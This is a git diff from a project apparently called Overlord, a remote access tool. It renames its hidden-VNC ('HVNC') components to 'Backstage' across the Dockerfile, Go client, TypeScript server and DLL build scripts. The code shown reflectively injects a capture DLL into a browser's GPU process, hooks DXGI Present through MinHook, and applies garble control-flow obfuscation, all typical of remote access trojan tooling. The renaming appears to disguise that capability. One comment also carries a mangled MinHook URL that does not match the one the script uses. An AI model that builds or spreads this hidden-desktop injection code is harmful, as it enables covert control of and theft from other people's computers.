## Key Configuration
- **Runtime env**: `NODE_ENV=development|production` (controls certbot, logging)
- **TLS**: Auto-generates self-signed certs (`generate-certs.sh`) or certbot/Let's Encrypt
- **Database**: SQLite, persisted to `/app/data/` in Docker
- **Docker networking**: Linux uses host networking; Windows/macOS uses bridge
## Go Monorepo
`go.work` / `go.work.sum` at repo root manages the Go workspace for `Overlord-Client`.
## CI
`.github/workflows/tests.yml` runs `bun test` (server) and `go test ./...` (client) on PRs.
+14 -14
View File
@@ -87,26 +87,26 @@ RUN --mount=type=cache,target=/root/.bun/install/cache \
COPY Overlord-Server/ ./ COPY Overlord-Server/ ./
# HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL). # HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL).
COPY HVNCInjection/ ./HVNCInjection/ COPY BackstageInjection/ ./BackstageInjection/
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh COPY build-backstage-dll.sh ./build-backstage-dll.sh
COPY HVNCCapture/ ./HVNCCapture/ COPY BackstageCapture/ ./BackstageCapture/
COPY build-hvnc-capture-dll.sh ./build-hvnc-capture-dll.sh COPY build-backstage-capture-dll.sh ./build-backstage-capture-dll.sh
RUN mkdir -p dist-clients && \ RUN mkdir -p dist-clients && \
if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
echo "Using pre-built MSVC HVNCInjection DLL"; \ echo "Using pre-built MSVC BackstageInjection DLL"; \
else \ else \
chmod +x build-hvnc-dll.sh && \ chmod +x build-backstage-dll.sh && \
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \ HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash build-backstage-dll.sh || \
echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \ echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \
fi fi
RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \ RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \
echo "Using pre-built MSVC HVNCCapture DLL"; \ echo "Using pre-built MSVC BackstageCapture DLL"; \
else \ else \
chmod +x build-hvnc-capture-dll.sh && \ chmod +x build-backstage-capture-dll.sh && \
HVNC_CAPTURE_SRC_DIR=HVNCCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-hvnc-capture-dll.sh || \ HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-backstage-capture-dll.sh || \
echo "WARNING: HVNCCapture DLL not available (build with MSVC on Windows)"; \ echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \
fi fi
# Tailwind CSS + vendored frontend assets # Tailwind CSS + vendored frontend assets
+5 -5
View File
@@ -1465,13 +1465,13 @@ func NowHVNC(ctx context.Context, env *rt.Env) error {
if env.Cfg.DisableCapture { if env.Cfg.DisableCapture {
return sendBlackFrameHVNC(ctx, env) return sendBlackFrameHVNC(ctx, env)
} }
if !supportsHVNCCapture() { if !supportsBackstageCapture() {
return nil return nil
} }
return captureAndSendHVNC(ctx, env) return captureAndSendHVNC(ctx, env)
} }
func supportsHVNCCapture() bool { func supportsBackstageCapture() bool {
count := HVNCMonitorCount() count := HVNCMonitorCount()
return count > 0 return count > 0
} }
@@ -1490,7 +1490,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
} }
t0 := time.Now() t0 := time.Now()
img, err := safeHVNCCaptureDisplay(display) img, err := safeBackstageCaptureDisplay(display)
if err != nil { if err != nil {
log.Printf("hvnc capture: capture failed: %v (sending black frame)", err) log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
return sendBlackFrameHVNC(ctx, env) return sendBlackFrameHVNC(ctx, env)
@@ -1531,11 +1531,11 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
return err return err
} }
func safeHVNCCaptureDisplay(display int) (*image.RGBA, error) { func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
defer func() { defer func() {
_ = recover() _ = recover()
}() }()
img, err := hvncCaptureDisplay(display) img, err := BackstageCaptureDisplay(display)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -13,7 +13,7 @@ import (
) )
// hvncFrameHeader mirrors the C HVNCFrameHeader struct. // hvncFrameHeader mirrors the C HVNCFrameHeader struct.
// must be kept in sync with HVNCCapture/src/DXGICapture.h. // must be kept in sync with BackstageCapture/src/DXGICapture.h.
type hvncFrameHeader struct { type hvncFrameHeader struct {
Magic uint32 Magic uint32
Version uint32 Version uint32
@@ -947,7 +947,7 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
} }
if err := reflectiveInject(hProcess, captureDllBytes); err != nil { if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err) log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID)) fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
@@ -956,7 +956,7 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
} }
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID) log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
hvncRegisterInjectedPID(gpuPID) hvncRegisterInjectedPID(gpuPID)
hvncRegisterGPUPID(browserPID, gpuPID) hvncRegisterGPUPID(browserPID, gpuPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
@@ -23,7 +23,7 @@ func SetHVNCUIAEnabled(enabled bool) {}
func GetHVNCUIAEnabled() bool { return false } func GetHVNCUIAEnabled() bool { return false }
func hvncCaptureDisplay(display int) (*image.RGBA, error) { func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform") return nil, errors.New("HVNC not supported on this platform")
} }
@@ -508,7 +508,7 @@ func ensureHVNCThread() error {
case hvncTaskAutoStartExplorer: case hvncTaskAutoStartExplorer:
result.err = hvncAutoStartExplorerOnThread() result.err = hvncAutoStartExplorerOnThread()
default: default:
result.img, result.err = hvncCaptureDisplayOnThread(task.display) result.img, result.err = BackstageCaptureDisplayOnThread(task.display)
} }
dur := time.Since(start) dur := time.Since(start)
@@ -535,7 +535,7 @@ func ensureHVNCThread() error {
return hvncThreadErr return hvncThreadErr
} }
func hvncCaptureDisplay(display int) (*image.RGBA, error) { func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
if err := ensureHVNCThread(); err != nil { if err := ensureHVNCThread(); err != nil {
return nil, err return nil, err
} }
@@ -846,7 +846,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
return hvncCapHDCScreen, hvncCapHDCMem, buf, true return hvncCapHDCScreen, hvncCapHDCMem, buf, true
} }
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
captureMu.Lock() captureMu.Lock()
defer captureMu.Unlock() defer captureMu.Unlock()
@@ -25,9 +25,9 @@ let _captureDllCacheMtimeMs: number = 0;
function getInjectionDllBytes(): Uint8Array | null { function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot(); const runtimeRoot = resolveRuntimeRoot();
const candidates = [ const candidates = [
path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"), path.resolve(runtimeRoot, "dist-clients", "BackstageInjection.x64.dll"),
path.resolve(process.cwd(), "dist-clients", "HVNCInjection.x64.dll"), path.resolve(process.cwd(), "dist-clients", "BackstageInjection.x64.dll"),
path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"), path.resolve(import.meta.dir, "../../dist-clients/BackstageInjection.x64.dll"),
]; ];
if (_dllCachePath) { if (_dllCachePath) {
@@ -69,9 +69,9 @@ function getInjectionDllBytes(): Uint8Array | null {
function getCaptureDllBytes(): Uint8Array | null { function getCaptureDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot(); const runtimeRoot = resolveRuntimeRoot();
const candidates = [ const candidates = [
path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"), path.resolve(runtimeRoot, "dist-clients", "BackstageCapture.x64.dll"),
path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"), path.resolve(process.cwd(), "dist-clients", "BackstageCapture.x64.dll"),
path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"), path.resolve(import.meta.dir, "../../dist-clients/BackstageCapture.x64.dll"),
]; ];
if (_captureDllCachePath) { if (_captureDllCachePath) {
@@ -1,10 +1,10 @@
@echo off @echo off
setlocal EnableDelayedExpansion setlocal EnableDelayedExpansion
REM Build HVNCCapture DLL for Windows x64 using MSBuild (vcxproj). REM Build BackstageCapture DLL for Windows x64 using MSBuild (vcxproj).
REM Run from VS Developer Command Prompt, or let the script detect VS. REM Run from VS Developer Command Prompt, or let the script detect VS.
set ROOT=%~dp0 set ROOT=%~dp0
set PROJ=%ROOT%HVNCCapture\HVNCCapture.vcxproj set PROJ=%ROOT%BackstageCapture\BackstageCapture.vcxproj
set OUT_DIR=%ROOT%Overlord-Server\dist-clients set OUT_DIR=%ROOT%Overlord-Server\dist-clients
set CONFIG=Release set CONFIG=Release
set PLATFORM=x64 set PLATFORM=x64
@@ -27,7 +27,7 @@ if %ERRORLEVEL% neq 0 (
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
echo Building HVNCCapture.vcxproj [%CONFIG%^|%PLATFORM%] ... echo Building BackstageCapture.vcxproj [%CONFIG%^|%PLATFORM%] ...
if defined MSBUILD_PATH ( if defined MSBUILD_PATH (
"!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
) else ( ) else (
@@ -35,14 +35,14 @@ if defined MSBUILD_PATH (
) )
if %ERRORLEVEL% neq 0 goto :error if %ERRORLEVEL% neq 0 goto :error
if not exist "%OUT_DIR%\HVNCCapture.x64.dll" ( if not exist "%OUT_DIR%\BackstageCapture.x64.dll" (
echo ERROR: DLL not found in output directory. echo ERROR: DLL not found in output directory.
goto :error goto :error
) )
echo. echo.
echo Built: %OUT_DIR%\HVNCCapture.x64.dll echo Built: %OUT_DIR%\BackstageCapture.x64.dll
dir "%OUT_DIR%\HVNCCapture.x64.dll" dir "%OUT_DIR%\BackstageCapture.x64.dll"
echo Done. echo Done.
exit /b 0 exit /b 0
@@ -1,17 +1,17 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# Build HVNCCapture DLL for Windows x64 using MinGW cross-compiler (C++). # Build BackstageCapture DLL for Windows x64 using MinGW cross-compiler (C++).
# Run from the repository root or from Docker. # Run from the repository root or from Docker.
# #
# HVNCCapture hooks IDXGISwapChain::Present to capture frames from the GPU # BackstageCapture hooks IDXGISwapChain::Present to capture frames from the GPU
# process. It uses MinHook for hooking and ReflectiveLoader for injection. # process. It uses MinHook for hooking and ReflectiveLoader for injection.
# #
# Requirements: # Requirements:
# - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof) # - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof)
# - MinHook source under HVNCCapture/Minhook/ # - MinHook source under BackstageCapture/Minhook/
# #
# If MinHook source is not available, you can pre-build the DLL with MSVC # If MinHook source is not available, you can pre-build the DLL with MSVC
# on Windows using build-hvnc-capture-dll.bat and place the output at: # on Windows using build-backstage-capture-dll.bat and place the output at:
# Overlord-Server/dist-clients/HVNCCapture.x64.dll # Overlord-Server/dist-clients/BackstageCapture.x64.dll
set -euo pipefail set -euo pipefail
cd "$(dirname "$0")" cd "$(dirname "$0")"
@@ -19,13 +19,13 @@ cd "$(dirname "$0")"
# C++ compiler for COM / __uuidof support # C++ compiler for COM / __uuidof support
CXX="${CXX:-x86_64-w64-mingw32-g++}" CXX="${CXX:-x86_64-w64-mingw32-g++}"
CC="${CC:-x86_64-w64-mingw32-gcc}" CC="${CC:-x86_64-w64-mingw32-gcc}"
SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-HVNCCapture/src}" SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-BackstageCapture/src}"
OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}" OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
DLL_NAME="HVNCCapture.x64.dll" DLL_NAME="BackstageCapture.x64.dll"
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}" MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
MINHOOK_REF="${MINHOOK_REF:-master}" MINHOOK_REF="${MINHOOK_REF:-master}"
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}" HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-HVNCCapture/Minhook}" MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageCapture/Minhook}"
mkdir -p "$OUT_DIR" mkdir -p "$OUT_DIR"
@@ -63,7 +63,7 @@ stage_minhook_from_static_dir() {
local candidate_src="" local candidate_src=""
local candidate_include="" local candidate_include=""
for dir in "$MINHOOK_STATIC_DIR" "HVNCCapture/Minhook" "HVNCCapture/minhook"; do for dir in "$MINHOOK_STATIC_DIR" "BackstageCapture/Minhook" "BackstageCapture/minhook"; do
if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
candidate_src="$dir" candidate_src="$dir"
candidate_include="$dir" candidate_include="$dir"
@@ -181,10 +181,10 @@ else
MINHOOK_INC="" MINHOOK_INC=""
fi fi
# --- Compile HVNCCapture sources --- # --- Compile BackstageCapture sources ---
# DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof # DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof
CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64" CXXFLAGS="$CXXFLAGS -DBackstageCapture_EXPORTS -DWIN_X64"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CXXFLAGS="$CXXFLAGS -fno-stack-protector" CXXFLAGS="$CXXFLAGS -fno-stack-protector"
@@ -197,7 +197,7 @@ fi
# C flags for ReflectiveLoader (pure C, no C++) # C flags for ReflectiveLoader (pure C, no C++)
# Keep -fno-asynchronous-unwind-tables only for the loader shellcode # Keep -fno-asynchronous-unwind-tables only for the loader shellcode
LOADER_CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" LOADER_CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
LOADER_CFLAGS="$LOADER_CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64" LOADER_CFLAGS="$LOADER_CFLAGS -DBackstageCapture_EXPORTS -DWIN_X64"
LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
LOADER_CFLAGS="$LOADER_CFLAGS -fno-stack-protector" LOADER_CFLAGS="$LOADER_CFLAGS -fno-stack-protector"
@@ -1,10 +1,10 @@
@echo off @echo off
setlocal EnableDelayedExpansion setlocal EnableDelayedExpansion
REM Build HVNCInjection DLL for Windows x64 using MSBuild (vcxproj). REM Build BackstageInjection DLL for Windows x64 using MSBuild (vcxproj).
REM Run from VS Developer Command Prompt, or let the script detect VS. REM Run from VS Developer Command Prompt, or let the script detect VS.
set ROOT=%~dp0 set ROOT=%~dp0
set PROJ=%ROOT%HVNCInjection\HVNCInjection.vcxproj set PROJ=%ROOT%BackstageInjection\BackstageInjection.vcxproj
set OUT_DIR=%ROOT%Overlord-Server\dist-clients set OUT_DIR=%ROOT%Overlord-Server\dist-clients
set CONFIG=Release set CONFIG=Release
set PLATFORM=x64 set PLATFORM=x64
@@ -27,7 +27,7 @@ if %ERRORLEVEL% neq 0 (
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
echo Building HVNCInjection.vcxproj [%CONFIG%^|%PLATFORM%] ... echo Building BackstageInjection.vcxproj [%CONFIG%^|%PLATFORM%] ...
if defined MSBUILD_PATH ( if defined MSBUILD_PATH (
"!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
) else ( ) else (
@@ -35,14 +35,14 @@ if defined MSBUILD_PATH (
) )
if %ERRORLEVEL% neq 0 goto :error if %ERRORLEVEL% neq 0 goto :error
if not exist "%OUT_DIR%\HVNCInjection.x64.dll" ( if not exist "%OUT_DIR%\BackstageInjection.x64.dll" (
echo ERROR: DLL not found in output directory. echo ERROR: DLL not found in output directory.
goto :error goto :error
) )
echo. echo.
echo Built: %OUT_DIR%\HVNCInjection.x64.dll echo Built: %OUT_DIR%\BackstageInjection.x64.dll
dir "%OUT_DIR%\HVNCInjection.x64.dll" dir "%OUT_DIR%\BackstageInjection.x64.dll"
echo Done. echo Done.
exit /b 0 exit /b 0
+11 -11
View File
@@ -1,34 +1,34 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# Build HVNCInjection DLL for Windows x64 using MinGW cross-compiler. # Build BackstageInjection DLL for Windows x64 using MinGW cross-compiler.
# Run from the repository root or from Docker. # Run from the repository root or from Docker.
# #
# Requirements: # Requirements:
# - x86_64-w64-mingw32-gcc # - x86_64-w64-mingw32-gcc
# - MinHook source files under HVNCInjection/minhook/ (preferred), # - MinHook source files under BackstageInjection/minhook/ (preferred),
# or already staged in HVNCInjection/src/minhook/ # or already staged in BackstageInjection/src/minhook/
# #
# MinHook setup: # MinHook setup:
# The project needs MinHook source compiled from scratch for MinGW. # The project needs MinHook source compiled from scratch for MinGW.
# 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license) # 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license)
# 2) Copy src/* and src/hde/* plus include/MinHook.h into # 2) Copy src/* and src/hde/* plus include/MinHook.h into
# HVNCInjection/minhook/ # BackstageInjection/minhook/
# 3) Run this script. # 3) Run this script.
# #
# If MinHook source is not available, you can pre-build the DLL with MSVC # If MinHook source is not available, you can pre-build the DLL with MSVC
# on Windows using build-hvnc-dll.bat and place the output at: # on Windows using build-backstage-dll.bat and place the output at:
# Overlord-Server/dist-clients/HVNCInjection.x64.dll # Overlord-Server/dist-clients/BackstageInjection.x64.dll
set -euo pipefail set -euo pipefail
cd "$(dirname "$0")" cd "$(dirname "$0")"
CC="${CC:-x86_64-w64-mingw32-gcc}" CC="${CC:-x86_64-w64-mingw32-gcc}"
SRC_DIR="${HVNC_SRC_DIR:-HVNCInjection/src}" SRC_DIR="${HVNC_SRC_DIR:-BackstageInjection/src}"
OUT_DIR="${HVNC_OUT_DIR:-Overlord-Server/dist-clients}" OUT_DIR="${HVNC_OUT_DIR:-Overlord-Server/dist-clients}"
DLL_NAME="HVNCInjection.x64.dll" DLL_NAME="BackstageInjection.x64.dll"
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}" MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
MINHOOK_REF="${MINHOOK_REF:-master}" MINHOOK_REF="${MINHOOK_REF:-master}"
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}" HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-HVNCInjection/Minhook}" MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageInjection/Minhook}"
mkdir -p "$OUT_DIR" mkdir -p "$OUT_DIR"
@@ -66,7 +66,7 @@ stage_minhook_from_static_dir() {
local candidate_src="" local candidate_src=""
local candidate_include="" local candidate_include=""
for dir in "$MINHOOK_STATIC_DIR" "HVNCInjection/Minhook" "HVNCInjection/minhook"; do for dir in "$MINHOOK_STATIC_DIR" "BackstageInjection/Minhook" "BackstageInjection/minhook"; do
if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
candidate_src="$dir" candidate_src="$dir"
candidate_include="$dir" candidate_include="$dir"
@@ -183,7 +183,7 @@ else
fi fi
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64" CFLAGS="$CFLAGS -DBackstageInjection_EXPORTS -DWIN_X64"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CFLAGS="$CFLAGS -fno-stack-protector" CFLAGS="$CFLAGS -fno-stack-protector"